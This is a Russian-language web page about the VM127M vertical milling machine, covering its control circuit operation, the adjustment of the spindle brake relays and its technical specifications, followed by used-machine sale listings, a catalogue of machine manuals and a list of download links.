Для включения шпинделя необходимо нажать кнопку SB7, включаются пускатель КМ1 и реле времени КТ1, КТ2. Пускатель КМ1 подает напряжение 380В на двигатель Ml, a KT2 своими замыкающими контактами блокирует выключатель SB7.

Выключение и торможение шпинделя

Для выключения шпинделя необходимо нажать кнопку SB4. Отключаются пускатель КМ1 и реле времени КТ1, КТ2. Через 1,2 с включится пускатель К2, который своими замыкающими контактами включит динамическое торможение шпинделя. Через 5,6 с замыкающие контакты реле времени КТ2 выключают пускатель К2, а К2 соответственно отключит динамическое торможение шпинделя.

Включение насоса охлаждения

Насос охлаждения включается переключателем QS2. 380В подается на двигатель М2 при включенном шпинделе.

Аварийное выключение станка

При аварии на станке нажать кнопку SB1 (SB2), которая отключает 110В в цепях управления станком вм127м. Примечание. Для повторного включения станка необходимо:

  1. кнопку SB1 (SB2) установить в исходное положение
  2. произвести зажим инструмента

Импульсное включение

Для облегчения переключения скоростей шпинделя и подачи предусмотрено импульсное включение двигателя шпинделя Ml кнопкой SB5, двигателя подачи М3 выключателем SQ3.

Электропривод подач

Электропривод подач представляет собой электромеханическую систему. Включение и отключение подачи осуществляется рукоятками, которые имеют три. фиксированных положения, а также выключателями SQ6, SQ8 для продольной; SQ5, SQ7 для вертикальной или поперечной подачи.

Быстрый ход подачи происходит при нажатии кнопки SВ9, включается пускатель КЗ и электромагнит быстрого хода УА. На станке электрической блокировкой исключается возможность одновременного включения продольной и поперечной или вертикальной подачи.

Регулировка цепи торможения шпинделя

Регулировка цепи торможения производится после замены или ремонта реле времени КТ1, КТ2, а также в случае, когда временные характеристики цепи торможения не соответствуют указанным в п. 7.6.5.

Для проведения регулировки необходимо:

  1. подать питание на станок
  2. включить шпиндель

Одновременно с выключателем шпинделя включить секундомер и остановить его при срабатывании К2. Если зафиксированное время превышает I сек., повернуть регулятор реле времени КТ1 по часовой стрелке. Повторить включение и выключение шпинделя, добиваясь включения пускателя К2 через 1 сек. Если пускатель К2 срабатывает менее , чем 1 сек. после отключения шпинделя, тогда регулятор реле КТ1 повернуть против часовой стрелки. Регулировку реле КТ2 проводить аналогично КТ1. Выключить шпиндель станка, одновременно с нажатием кнопки SB4, запустить секундомер и остановить его после остановки шпинделя. Зафиксированное время не Должно быть более 6 сек.

Читайте также: Производители фрезерных станков в России

ВМ127М Станок консольно-фрезерный вертикальный. Видеоролик.


Основные технические данные и характеристики станка ВМ127М

Наименование параметраВМ127ВМ127М
Рабочий стол
Класс точности по ГОСТ 8-82НН
Максимальная нагрузка на стол (по центру), кг300800
Размеры рабочей поверхности стола (длина х ширина), мм1600 х 4001600 х 400
Число Т-образных пазов Размеры Т-образных пазов33
Наибольшее перемещение стола продольное механическое и ручное, мм10001010
Наибольшее перемещение стола поперечное механическое, мм300300
Наибольшее перемещение стола поперечное от руки, мм320320
Наибольшее перемещение стола вертикальное механическое, мм400400
Наибольшее перемещение стола вертикальное от руки, мм420420
Наименьшее и наибольшее расстояние от торца шпинделя до стола при ручном перемещении, мм
* Размер 30 мм обеспечивается за счет выдвижения шпинделя
30. .500*30..500
Расстояние от оси шпинделя до вертикальных направляющих станины, мм620420
Перемещение стола на одно деление лимба (продольное, поперечное, вертикальное), мм0,050,05
Перемещение стола на один оборот лимба продольное, мм44
Перемещение стола на один оборот лимба поперечное, мм66
Перемещение стола на один оборот лимба вертикальное, мм22
Шпиндель
Частота вращения шпинделя, об/мин31,5..160040..2000
Количество скоростей шпинделя1818
Наибольший крутящий момент, кгс.м137
Эскиз конца шпинделяГОСТ 836-72
Конус шпинделя5050АТ5
Наибольшее осевое перемещение пиноли шпинделя, мм8080
Перемещение пиноли на один оборот лимба, мм44
Перемещение пиноли на 1 деление лимба, мм0,050,05
Наибольший угол поворота шпиндельной головки, град±45±45
Цена одного деления шкалы поворота головки, град1
Механика станка
Быстрый ход стола продольный и поперечный, мм/мин30003000
Быстрый ход стола вертикальный, мм/мин10001000
Число ступеней рабочих подач стола1818
Пределы рабочих подач. Продольных и поперечных, мм/мин25..125025..1250
Пределы рабочих подач. Вертикальных, мм/мин8,3..416,68,3..416,6
Выключающие упоры подачи (продольной, поперечной, вертикальной)естьесть
Блокировка ручной и механической подачи (продольной, поперечной, вертикальной)естьесть
Блокировка раздельного включения подачиестьесть
Автоматическая прерывистая подача Продольнаяестьесть
Автоматическая прерывистая подача Поперечная и вертикальнаянет
Торможение шпинделяестьесть
Предохранение от перегрузки (муфта)естьесть
Привод
Количество электродвигателей на станке34
Электродвигатель привода главного движения М1, кВт1111
Электродвигатель насоса охлаждающей жидкости М2, кВт0,120,12
Электродвигатель привода подач М3, кВт32,1
Электродвигатель зажима инструмента М4, кВтНетАИР56В2УЗ
Электронасос охлаждающей жидкости ТипХ14-22МП-32МС10
Производительность насоса СОЖ, л/мин2222
Габарит станка
Габариты станка, мм2560 х 2260 х 24302560 х 2260 х 2500
Масса станка, кг42504250

Примечания

  1. Полную величину указанных ходов можно использовать только при отсутствии деталей и устройств, ограничивающих перемещение стола, салазок или консоли, например:
  • при установке в шпинделе оправки с фрезой сокращается вертикальный ход;
  • при установке обрабатываемой детали или приспособления, свисающих между столом и зеркалом станины, сокращается поперечный ход салазок.
  • При этом необходимо установить ограничительные упоры с учетом отклонения подачи в пределах ограничения перемещения стола, салазок или консоли.
  • Во всех случаях использования полных ходов с механической подачей необходимо проверить возможность работы на холостом ходу и при обработке внимательно наблюдать за работой станка.
  • В связи с наличием перебегов перемещаем узлов по инерции фактическая величина механических ходов Уменьшена на величину 10—20 мм соответствии с чем присверлены ограничительные кулачки.
  • Габариты станков, приведенные в таблице, характеризуют «упаковочные» или наибольшие размеры при условии установки перемещающих узлов в среднее положение. При расчете занимаемой станком площади необходимо к размеру ширины станка прибавить значение продольного хода стола 1000 мм (в каждую сторону по 500 мм).
    1. Список литературы:

    2. Станок специализированный фрезерный консольный ВМ127М. Руководство по эксплуатации ВМ127М00.00.000, 1982
    3. Схема электрическая принципиальная ВМ127М. 8.000 Э3
    4. Схема электрическая соединений ВМ127М.8.000 Э4
    5. Аврутин С.В. Основы фрезерного дела, 1962
    6. Аврутин С.В. Фрезерное дело, 1963
    7. Ачеркан Н.С. Металлорежущие станки, Том 1, 1965
    8. Барбашов Ф.А. Фрезерное дело 1973, с.141
    9. Барбашов Ф.А. Фрезерные работы (Профтехобразование), 1986
    10. Блюмберг В.А. Справочник фрезеровщика, 1984
    11. Григорьев С.П. Практика координатно-расточных и фрезерных работ, 1980
    12. Копылов Р.Б. Работа на фрезерных станках,1971
    13. Косовский В.Л. Справочник молодого фрезеровщика, 1992, с.180
    14. Кувшинский В.В. Фрезерование,1977
    15. Ничков А.Г. Фрезерные станки (Библиотека станочника), 1977
    16. Пикус М.Ю. Справочник слесаря по ремонту металлорежущих станков, 1987
    17. Плотицын В. Г. Расчёты настроек и наладок фрезерных станков, 1969
    18. Плотицын В.Г. Наладка фрезерных станков,1975
    19. Рябов С.А. Современные фрезерные станки и их оснастка, 2006
    20. Схиртладзе А.Г., Новиков В.Ю. Технологическое оборудование машиностроительных производств, 1980
    21. Тепинкичиев В.К. Металлорежущие станки, 1973
    22. Чернов Н.Н. Металлорежущие станки, 1988
    23. Френкель С.Ш. Справочник молодого фрезеровщика (3-е изд.) (Профтехобразование), 1978

    Связанные ссылки. Дополнительная информация

    Паспорта вертикально-фрезерного станка в Чебоксарах

    1. Главная
    2. Продажа
    3. Производственные услуги
    4. Паспорт вертикально-фрезерного станка

    Вы можете очень быстро сравнить цены паспорта вертикально-фрезерного станка и подобрать оптимальные варианты из более чем 482 предложений

    Вм-127м Вертикально Фрезерный Станок

    Состояние: Б/У Год выпуска: 1980

    Продаем Б/У Вм-127 м Вертикально Фрезерный СтанокВ хорошем состоянии. Есть паспорт1987 г.в.Подключен. Покажем в работе.Цена 340 тыс руб за наличный расчет.Звоните!Технические характеристики:Размеры…

    14.09.2022

    Чебоксары (Россия)

    340 000

    вертикально-фрезерный станок 6М13У

    Состояние: Б/У Год выпуска: 1993 Производитель: Савеловский машзавод (Россия)

    Продается вертикально-фрезерный станок 6М13У 1993 г. выпуска. Механика — хорошее состояние, комплект. Электрика — шкафы некомплект.Размеры рабочей зоны — 600х400Перемещения, X x Y x Z:…

    01.09.2018

    Чебоксары (Россия)

    230 000

    вертикально-фрезерный станок TOS FV32, Чехия

    Состояние: Б/У Год выпуска: 1984 Производитель: TOS (Чехия)

    Продается вертикально-фрезерный станок TOS FV32 (Чехословакия) в хорошем состоянии с проверкой в работе. Технические характеристики станка FV-32Размеры рабочей поверхности стола, мм 1250×320Число…

    01.09.2018

    Чебоксары (Россия)

    120 000

    Вертикально-фрезерный станок ВМ127М

    Состояние: Б/У Год выпуска: 1992 Производитель: Россия (Россия)

    В хорошем состоянии, с проверкой в работеТехнические характеристикиПараметрыРазмеры рабочей поверхности стола, мм1600 х 400Число Т-образных пазов3Максимальная нагрузка на стол (по центру),…

    05.04.2017

    Чебоксары (Россия)

    Фрезерный станок по дереву F205 Casadei (Италия)

    Состояние: Б/У Год выпуска: 2012 Производитель: Casadei (Италия)

    Фрезерный станок по дереву F205 Casadei (Италия)
    год выпуска 2012
    Размеры стола: 1200×730 мм
    Макс. диаметр инструмента: 320×85 мм
    5 режимов шпинделя: 3000-10000 об/мин
    Макс. рабочая высота…

    08.09.2016

    Чебоксары (Россия)

    465 000

    Станок вертикально фрезерный 6р13

    Состояние: Б/У Год выпуска: 1981 Производитель: Россия

    Станок вертикально фрезерный 6р13, состояние хорошее, с проверкой в работе, после ревизии, работает полностью исправно, по всем вопросам и дополнительным фото обращаться по телефону! Есть видео в…

    01.06.2018

    Чебоксары (Россия)

    180 000

    Токарно-фрезерный станок с ЧПУ WoodTec T 1200

    Состояние: Новый Производитель: WoodTec

    В наличии

    НАЗНАЧЕНИЕ:Основное использование — это изготовление балясин и других тел вращения при производстве эксклюзивной мебели и лестниц. ВИДЫ ОБРАБАТЫВАЕМЫХ МАТЕРИАЛОВ:Основное использование в обработке…

    14.07.2017

    Чебоксары (Россия)

    6 180

    Токарно-фрезерный станок с ЧПУ WoodTec T 1500

    Состояние: Новый Производитель: WoodTec

    В наличии

    НАЗНАЧЕНИЕ:Основное использование — это изготовление балясин и других тел вращения при производстве эксклюзивной мебели и лестниц.ВИДЫ ОБРАБАТЫВАЕМЫХ МАТЕРИАЛОВ:Основное использование в обработке…

    14.07.2017

    Чебоксары (Россия)

    6 820

    Продольно-фрезерный станок ГФ1704н1 (Стол 630х2500)

    Состояние: Б/У Год выпуска: 1974 Производитель: ГЗФС (Россия)

    Горьковский завод фрезерных станков, для чернового и получистового фрезерования плоскостей. Стол 630 */ 2500мм, 5 Т-образных пазов. Станок делался по спецзаказу.4 бабки, 5 шпинделей. Бабка…

    25.07.2018

    Чебоксары (Россия)

    450 000

    Фрезерный станок с чпу фс-3ш

    Состояние: Новый Производитель: Россия

    В наличии

    Продам фрезерный станок с ЧПУ фс 3ш производитель г. Пенза,почти новый, подробности по тел

    18.03.2020

    Чебоксары (Россия)

    410 000

    Фрезерный станок ФС 250

    Состояние: Б/У Год выпуска: 1990

    Продаю широкоуниверсальный фрезерный станок ФС-250. Есть возможность проверки в работе. Погрузка и демонтаж за наш счет. Звоните, мы подберем для вас необходимое оборудование.

    22.12.2020

    Чебоксары (Россия)

    135 000

    фрезерный станок ВМ 131 ВФ1

    Состояние: Б/У Год выпуска: 1991

    Продам широкоуниверсальный фрезерный станок ВМ 131 ВФ1. В рабочем состоянии.

    22.12.2020

    Чебоксары (Россия)

    180 000

    Уфгс 2015 Фрезерный Станок С чпу по дереву

    Состояние: Б/У Год выпуска: 1980

    Продаем Б/У Уфгс 2015 Фрезерный Станок С ЧПУ по деревуКак новый, Работал 3 мес,Из допов: Система аспирации, Датчики безопасностиПодключен. Покажем в работе.Цена 430 тыс руб за наличный…

    14.09.2022

    Чебоксары (Россия)

    430 000

    Вертикально-сверлильный станок СС 2635

    Состояние: Б/У Год выпуска: 1987

    Предприятие реализует вертикально-сверлильный станок СС-2635.Стоимость указана ориентировочно!Фото — по запросу!По всем интересующим Вас вопросам — обращайтесь по телефону!

    12.09.2022

    Чебоксары (Россия)

    140 000

    Универсальный фрезерный станок 6Р82

    Состояние: Б/У Производитель: Россия

    в хорошем состоянии, с проверкой в работепредназначен для выполнения разнообразных фрезерных работ цилиндрическими, торцевыми, концевыми, фасонными и другими фрезами. Размеры рабочей поверхности…

    05.04.2017

    Чебоксары (Россия)

    фрезерный станок с ЧПУ 1400*2500*250

    Состояние: Новый Год выпуска: 2014

    В наличии

    продаю фрезерно-гравировальный станок с ЧПУ, новый
    «SP» 1425
    высокопроизводительный надежный станок. предназначен для обработки дерева(любых пород), мдф, металла, искусственного камня….

    02.12.2014

    Чебоксары (Россия)

    580 000

    LTT-6090 JigWei Фрезерный станок с ЧПУ

    Состояние: Новый Год выпуска: 2014

    В наличии

    Предназначен для высококачественного фрезерования и гравирования поверхностей деталей и заготовок по плоскости (программное обеспечение 2D) и в 3-х мерном пространстве (3D…

    22. 05.2017

    Чебоксары (Россия)

    250 000

    Копировально-фрезерный станок с верхним расположением шпинделя WoodTec MX 5068

    Состояние: Новый Производитель: WoodTec

    В наличии

    Макс. толщина заготовки, мм150Размеры стола, мм805х600Вертикальный ход стола, мм180Угол наклона стола,°± 45°Макс. ход шпинделя, мм65Частота вращения шпинделя, об/мин18 000Мощность электродвигателя…

    18.07.2017

    Чебоксары (Россия)

    2 750

    Присадочной-фрезерный станок «masterproff Z3»

    Состояние: Новый Производитель: masterproff (Россия)

    В наличии

    Оборудование новое.Станок «masterPROFF Z3» предназначен для одновременной автоматической фрезеровки заготовки под шип двумя фрезерными головками (исключая выров материала) и присадки по торцу. ..

    07.02.2019

    Чебоксары (Россия)

    600 000

    фрезерный станок ФСШ-1А с шипорезной кареткой

    Состояние: Б/У Год выпуска: 1998 Производитель: Днепропетровск (Украина)

      1998 г. выпуска, все работает. максимально допустимая толщина деревянной заготовки – 10 см;габариты рабочего стола – 100*32,5 см;параметр максимального вертикального смещения шпинделя – до 10…

    24.02.2018

    Чебоксары (Россия)

    40 000

    Популярные категории в Чебоксарах

    Да кстати, на портале ProСтанки выбор предложений по паспорту вертикально-фрезерного станка почти как на Авито и TIU

    Видео паспорта вертикально-фрезерного станка

    Паспорт ВМ127 Станок специализированный фрезерный консольный (Воткинск)

    Наименование издания: Руководство по эксплуатации (ВМ127. 00.00.000РЭ)

    Выпуск издания: Воткинский машиностроительный завод

    Год выпуска издания: 1985

    Кол-во книг (папок): 1

    Кол-во страниц: 85

    Стоимость: Договорная

    Описание: Полный комплект документации

    •  

    Содержание:
    Руководство по эксплуатации (ВМ127.00.00.000РЭ)

    Общие сведения о станке

    — Внешний вид станка

    Основные технические данные и характеристики

    — Эскиз Т-образных пазов

    — Эскиз направляющих станины

    — Эскиз конца шпинделя

    Сведения о содержании драгоценных металлов

    Комплект поставки

    Указание мер безопасности

    Состав станка

    — Ограждение фрез

    — Расположение составных частей станка

    Устройство, работа станка и его основных частей

    — Расположение органов управления

    — Кинематическая схема

    — График чисел оборотов шпинделя в минуту

    — График продольной и поперечной подач

    — Насос смазки коробки скоростей

    — Разрез поворотной головки без механизма зажима инструмента

    — Разрез по осям коробки переключения скоростей

    — Механизм рукоятки переключения скоростей

    — Разрез по выходному валу коробки подач

    — Коробка подач

    — Механизм переключения подач

    — Консоль (развёртка)

    — Консоль (разрез по винту подъёма)

    — Разрез по механизму включения электромагнита

    — Разрез включения вертикальной и поперечной подач

    — Насос смазки консоли

    — Золотниковый распределитель

    — Разрез по ходовому винту

    — Регулировка зазора в ходовом винте

    — Регулирование клиньев

    — Разрез по рукоятке включения продольной подачи

    — Общий вид салазок

    — Механизм запирания муфты

    Электрооборудование

    — Принципиальная электросхема станка

    — Диаграмма переключателя и командоаппаратов

    — Электросхема соединений

    — Электросхема соединений на дверке левой ниши

    — Электросхема соединений в левой ниши

    — Схема расположения электрооборудования на станке

    Система смазки

    — Схема смазки станка

    Порядок установки

    — Схема транспортировки станка

    — Установка станка

    Порядок работы

    — Настройка станка на автоматические циклы

    — Схема расположения подшипников качения

    Характерные неисправности и методы их устранения

    Особенности сборки и разборки при ремонте

    Материалы по запасным частям**********

    Свидетельство о приёмке

    Свидетельство о консервации

    Свидетельство об упаковке

    Указание по эксплуатации

    Гарантийные обязательства

    Перечень нормативно-технических документов

    Приложение 1: Сведения о содержании цветных металлов в станке

    Описание станка:
    Весьма распространённой потребностью в направлении промышленного производства по нашим наблюдениям является паспорт станка вм127. Так как именно вот этот фрезерный станок применяется в производственных реалиях весьма и весьма широко, то потребность в наличии наиболее полной документации будет являться действительно актуальным моментом в вопросах эксплуатации, обслуживания и даже в условиях некоторого ремонта станочной единицы для фрезерования. Производился данный станок таким известным в среде поставщиков металлообрабатывающего оборудования заводом под названием Воткинский машиностроительный завод. Этот момент конечно же является примечательным, ведь именно в этой производственной среде получалось реализовывать наиболее интересные и надёжные модели станочного оборудования. В частности, фрезерные станки, оснастку и запчасти к ним, что поставлялись всё тем же заводом. Эта документация произведена ещё в одна тысяча девятьсот восемьдесят пятом году, и обладает вполне хорошим объёмом информации. Всего в техническом издании представлено не менее восьмидесяти пяти страниц, распространённого формата А4 в читаемом качестве, что позволит ознакомиться с теоретической, а вместе с этим и практической информацией о станке.

    Дело в том, что фрезерный станок вм127 паспорт которого находится в нашем архиве и переведён в электронный формат. Может быть поставлен оперативно и в весьма короткие сроки в электронный адрес заказчика согласно перечню, приведенному выше. После оплаты и поступления платежа на наш расчётный счёт мы направляем документацию для работы со станком и обслуживанием его важнейших узлов, а так же элементов. Само по себе издание обозначается согласно канону как руководство по эксплуатации. Но именно в руководстве присутствует вполне себе объёмное описание, граничащее с теоретической частью станка. Ну и конечно приведены практические материалы в виде чертежей направленных всё больше на работу с механикой фрезерного станка. Опять же, кроме возможностей механической части, здесь есть и полноценный раздел, направленный на работу с электрикой. Всё так же, как и в первом случае присутствует детальное описание электрики станка или ещё его можно назвать теоретической частью. Но вместе с этим, имеется довольно развёрнутая подача всех необходимых электросхем, что конечно же важно в вопросах работы с любым типом оборудования. А раздел, что связан с мелким ремонтом станка, называется уже материалами по запасным частям представленным в виде чертежей, что не менее важно.

    Документация оборудования, паспорт фрезерного станка

    ТОКАРНЫЕ

    ТОКАРНО-КАРУСЕЛЬНЫЕ

    РАСТОЧНЫЕ

    СВЕРЛИЛЬНЫЕ

    ШЛИФОВАЛЬНЫЕ

    ЗАТОЧНЫЕ

    ЭЛЕКТРОЭРОЗИОННЫЕ

    ЗУБОРЕЗЬБООБРАБАТЫВАЮЩИЕ

    ФРЕЗЕРНЫЕ

    ДОЛБЁЖНЫЕ

    СТРОГАЛЬНЫЕ

    ОТРЕЗНЫЕ

    ПРЕССА ГИДРАВЛИЧЕСКИЕ

    ПРЕССА МЕХАНИЧЕСКИЕ И ВИНТОВЫЕ

    НОЖНИЦЫ

    ГИБОЧНЫЕ

    КУЗНЕЧНОЕ ОБОРУДОВАНИЕ

    ПРУЖИНОНАВИВОЧНЫЕ

    НАМОТОЧНЫЕ

    КОМПРЕССОРА

    ЭЛ. ПРИВОДА

    ОСНАСТКА

    ДЕРЕВООБРАБАТЫВАЮЩИЕ

    СВАРОЧНОЕ ОБОРУДОВАНИЕ

    ТЕРМИЧЕСКОЕ ОБОРУДОВАНИЕ

    ДРУГОЕ ОБОРУДОВАНИЕ

    ГИДРОАГРЕГАТЫ

    ТЕХПРОЦЕССЫ РЕМОНТА И ЧЕРТЕЖИ

    ПИЩЕВОЕ

    ТЕХНИЧЕСКАЯ ЛИТЕРАТУРА ПО СТАНКАМ


    6А56; 6А59 (Ульяновск)паспорт станка

    6А75ВФ1(Одесса)паспорт станка

    6А76ПФ2 (Одесса)паспорт станка

    6В11; 6В11Рпаспорт станка

    6В75; 6В75Ппаспорт станка

    6Д12Ф20; 6Д82ШФ20 (Дмитров)паспорт станка

    6Е75ПФ1 (Ереван)паспорт станка

    6Е80Ш паспорт станка

    6Е463 (Львов)паспорт станка

    6К82Г; 6К82; 6К82Ш; 6К12 (Дмитров)паспорт станка

    6Л463 (Львов)паспорт станка

    6М10паспорт станка

    6М11Кпаспорт станка

    6М12П; 6М12ПБ (Горький)паспорт станка

    6М12П-А (Горький)паспорт станка

    6М13П; 6М13ПБ (Горький) паспорт станка

    6М13П-А (Горький)паспорт станка

    6М76П (Иркутск) паспорт станка

    6М82А (Горький)паспорт станка

    6М82; 6М82Г; 6М82ГБ (Горький)паспорт станка

    6М82Ш; 6М83Ш (Горький) паспорт станка

    6М83А (Горький)паспорт станка

    6М83Ш-А (Горький)паспорт станка

    6М610Ф1паспорт станка

    6М610Ф1-08(Минск)смотреть демо версию

    6Н11 (Дмитров)паспорт станка

    6Н12 (Горький) паспорт станка

    6Н12П (Горький)паспорт станка

    6Н13Ппаспорт станка

    6Н13Ф3-1паспорт станка

    6Н81 (Дмитров)паспорт станка

    6Н81А (Дмитров)паспорт станка

    6Н81Г (Дмитров)паспорт станка

    6Н82Гпаспорт станка

    6Н83Г (Горький)паспорт станка

    6Н804Г; 6Н104 (Вильнюс)паспорт станка

    6П80; 6П80Г (Вильнюс)паспорт станка

    6Р10паспорт станка

    6Р11 (Дмитров)паспорт станка

    6Р12Б (Горький)паспорт станка

    6Р13 (Воткинск)паспорт станка

    6Р13 (Горький)паспорт станка

    6Р80паспорт станка

    6Р80Г паспорт станка

    6Р81 (Дмитров)паспорт станка

    6Р81Г (Дмитров)паспорт станка

    6Р81Ш (Дмитров)паспорт станка

    6Р82 паспорт станка

    6Р82Г паспорт станка

    6Р82Ш (Горький)паспорт станка

    6Р83Шпаспорт станка

    6С12; СФ15. паспорт станка

    6Т12-1паспорт станка

    6Т12-29 паспорт станка

    6Т12Ф20паспорт станка

    6Т13-1паспорт станка

    6Т13-29 паспорт станка

    6Т13Ф20 (Горький)паспорт станка

    6Т80Ш; 6Т80Г; 6Т80; 6Т10 паспорт станка

    6Т82Г-1; 6Т82-1; 6Т83Г-1; 6Т83-1 паспорт станка

    6Т82Ш; 6Т83Ш (Нижний Новгород)паспорт станка

    6Т82Ш-1; 6Т83Ш-1паспорт станка

    65А60Ф1-2 (Воронеж)паспорт станка

    67К25ПРпаспорт станка

    67К25ПФ2 (Иркутск)паспорт станка

    67К25ПФ2-0 (Вильнюс)паспорт станка

    67М20В (Одесса)паспорт станка

    654-0 (Ульяновск)паспорт станка

    654Т (Ульяновск)паспорт станка

    654Ф3 (Ульяновск)паспорт станка

    661Б (Дмитров)паспорт станка

    675 (Одесса)паспорт станка

    675П (Горький)паспорт станка

    676Ппаспорт станка

    676П (Вильнюс)паспорт станка

    678М (Одесса) паспорт станка

    679 (Иркутск) паспорт станка

    692М (Дмитров) паспорт станка

    692Р-1 паспорт станка

    6532П (Вильнюс)паспорт станка

    6540; 6550 (Чаренцаванский СЗ)паспорт станка

    6550 РФ-3 (Чаренцаванский СЗ)паспорт станка

    6608; 6308; 6610; 6310; 6610Б паспорт станка

    6612У; 6616У; 6620У; 6625У паспорт станка

    6622 (Горький)паспорт станка

    6720ВФ2 (Одесса)паспорт станка

    6720ПФ1 (Ереван) паспорт станка

    6725В (Вильнюс)паспорт станка

    96КП (Тула)паспорт станка

    АЛГ-100Е (Югославия) паспорт станка

    АЛГ-200паспорт станка

    ВМ127 (Воткинск) паспорт станка

    ВМ127М (Воткинск)паспорт станка

    ВМ130В (Воткинск) паспорт станка

    ВМ130М (Воткинск)паспорт станка

    ВМ133 (Воткинск)паспорт станка

    ГФ2171С5паспорт станка

    ГФ2171С6 паспорт станка

    ДФ-92 (Дмитров)паспорт станка

    ЛГ-22 — карусельно-фрезерный (ЧСЗ)паспорт станка

    ЛФ260МФ3 (Львов) паспорт станка

    МАНО — 400 (МН — 400) (Германия)паспорт станка

    MAHO (MH700C)(MH600P) (Германия)паспорт станка

    НГФ — 110Ш4паспорт станка

    ОФ-55 г. Владимирпаспорт станка

    Прага 221Т (Индия) паспорт станка

    СФ35паспорт станка

    СФ676 (Киров)паспорт станка

    ТГ-2паспорт станка

    ТФС-4паспорт станка

    УФ 0916 (Ульяновск)паспорт станка

    ФС-250 г.Владимирпаспорт станка

    ФУ1-250; ФУ2-250 (КНДР) паспорт станка

    ФУ 32 Х 132А (Румыния) паспорт станка

    ФВ 32 Х 132А (Румыния)паспорт станка

    ФО 32 Х 132 А (Румыния)паспорт станка

    ФМТ-09паспорт станка

    ACIERA F4 (Швейцария) паспорт станка

    ERNF1 (SCHIETS FRITZ KOOP)паспорт станка

    F 315(400) (ГДР)паспорт станка

    FA2H(V)(U) Чехословакия паспорт станка

    FA3H(V)(U) Чехословакия паспорт станка

    FA 5A-V (Чехословакия)паспорт станка

    FSS(FW)(FU)315(400)/V/V1/V2 (ГДР) паспорт станка

    FN 20(Чехословакия)паспорт станка

    FN 22(Чехословакия)паспорт станка

    FN32 (Чехословакия)паспорт станка

    FN40 (Чехословакия)паспорт станка

    FNK 25Aпаспорт станка

    FP 20 (Чехословакия)паспорт станка

    FU-36; FO-36: FV-36CF; FV-36CR (Румыния) паспорт станка

    FU251M (Болгария) паспорт станка

    FU321 (Болгария) паспорт станка

    FUW 200 (250)(315)паспорт станка

    FUS 22 (Румыния) паспорт станка

    FUW 260×720 (Германия)паспорт станка

    FUS-25(32)паспорт станка

    FV321M (Болгария) паспорт станка

    FW-32 паспорт станка

    GFLV 250 (ГДР) паспорт станка

    «RIKEN» RTM-3 (Япония) паспорт станка

    SMO-32 (Украина)паспорт станка

    VF2(Япония)паспорт станка

    WF 2. 1 (Германия) паспорт станка

    ZFWVG 250 (ГДР) паспорт станка


    КЛАССИФИКАЦИЯ И НУМЕРАЦИЯ ФРЕЗЕРНЫХ СТАНКОВ

       Фрезерные станки относятся к шестой группе, первая цифра в обозначении модели фрезерного станка:
    Типы фрезерных станков имеют следующие цифровые обозначения:
    Тип 1 – консольные вертикально-фрезерные станки
    Тип 2 – фрезерные станки непрерывного действия
    Тип 3 – свободная группа
    Тип 4 – копировально- и гравировально-фрезерные станки
    Тип 5 – вертикальные бесконсольные
    Тип 6 – продольно-фрезерные станки
    Тип 7 – консольно-фрезерные операционные станки
    Тип 8 – консольные универсально-фрезерные станки
    Тип 9 – разные фрезерные станки
    Третья цифра, а для крупных фрезерных станков и четвертая, условно обозначает основные размеры станка. Например, у станка 612 третья цифра 2 означает консольный вертикально-фрезерный станок второго размера или со столом 320 х 1250 мм. Продольно-фрезерный станок 6612 имеет стол 1800 х 6000 мм., у него размеры стола обозначены двумя цифрами.
    Кроме цифр, в шифр станка часто включаются также различные буквы.
    Если буква стоит между первой и второй цифрами, это означает, что конструкция станка подвергалась усовершенствованию по сравнению с прежней моделью. Например, модель станка 682 совершенствуется в течении ряда лет, хотя основные размеры стола остались прежними.
    Если буква стоит в конце номера модели фрезерного станка, это означает изменение основной, или, как принято говорить, «базовой», модели. Так, буква Г в конце номера 682 означает, что это – станок горизонтально-фрезерный, т.е. в отличие от базовой модели универсально-фрезерного станка верхний стол его не поворачивается. Другие буквы в конце номера модели станка имеют другие значения. Буква Ш в станке 6М82Ш означает широко-универсальную модель консольного горизонтально-фрезерного станка, имеющую, кроме горизонтального шпинделя, еще вертикальную головку на хоботе.


    ПАСПОРТ СТАНКА:

    Паспорт — это основной технический документ, содержащий данные, характеризующие станок, рекомендации по установке его и уходу за ним. В паспорте указывают основные размеры станка, скорости шпинделя и стола, величины подач, величину наибольшего допустимого крутящего момента на шпинделе и мощность. В нем содержатся сведения об основных принадлежностях и приспособлениях к станку, о приводе, гидравлических механизмах, схеме управления станком, об устранении дефектов при работе, приводятся электро- и гидросхемы, кинематическая схема, спецификация подшипников, зубчатых колес, электродвигателей, золотников, клапанов и других устройств.
    Паспорт используется цеховым технологом как документ для назначения режимов обработки, подбора приспособлений, планировки размещения станка в цехе. Паспорт необходим также механику и энергетику как руководство по эксплуатации и ремонту станка; в него вносят данные о проведенных ремонтах и модернизации.
    При работе станка могут возникнуть различные неисправности, которые может устранить сам рабочий или сообщить о них слесарю-ремонтнику. Указания о методах исправления дефектов приведены в паспорте.


    ПАСПОРТА К ФРЕЗЕРНЫМ СТАНКАМ. ДОСТУПНО ДЛЯ СКАЧИВАНИЯ





     

     


    ПАСПОРТА К
    СТАНКАМ И ОБОРУДОВАНИЮ




    Скачать паспорта на токарные станки одним

    файлом
















































































    Schaublin-13 (поздняя версия), станок
    фрезерный инст. ..

    правила эксплуатации,зап части, электро схема ( полный паспорт)



    438 Скачиваний (960 Просмотров) 

    Обновлен: 16 Jun 2009


    Набор чертежей небольшого китайского
    фрезера

    Возможно для кого-то будет интересен набор чертежей небольшого
    фрез…



    169 Скачиваний (842 Просмотров) 

    Обновлен: 08 Jun 2009


    паспорт фрезера OPTI BF 30 Vario

    паспорт фрезера OPTI BF 30 Vario



    462 Скачиваний (2034 Просмотров) 

    Обновлен: 16 Jun 2010


    Ф-2А, станок фрезерный часовой

    Паспорт на часовой фрезерный станок Ф-2А, любезно
    предоставленный A. ..



    276 Скачиваний (1095 Просмотров) 

    Обновлен: 14 Apr 2010


    6Н81, фото и некоторые сканы из паспорта

    Фото и чертеж редуктора (коробки реверса)



    449 Скачиваний (1098 Просмотров) 

    Обновлен: 13 Apr 2009


    Электрическая схема FU315/400 (реле)

    Электрическая схема FU315/400 (реле)



    1029 Скачиваний (3202 Просмотров) 

    Обновлен: 07 Apr 2009


    6Т82, 6Т83, 6Т12, 6Т13 (Г-1, -1, Ш-1) —
    электрообору. ..

    Инструкция по электрооборудованию — по ссылке «Скачать» Ска…



    773 Скачиваний (2553 Просмотров) 

    Обновлен: 09 Apr 2010


    ВМ127, станок вертикально-фрезерный,
    электросхема

    Электросхема фрезерного станка ВМ127



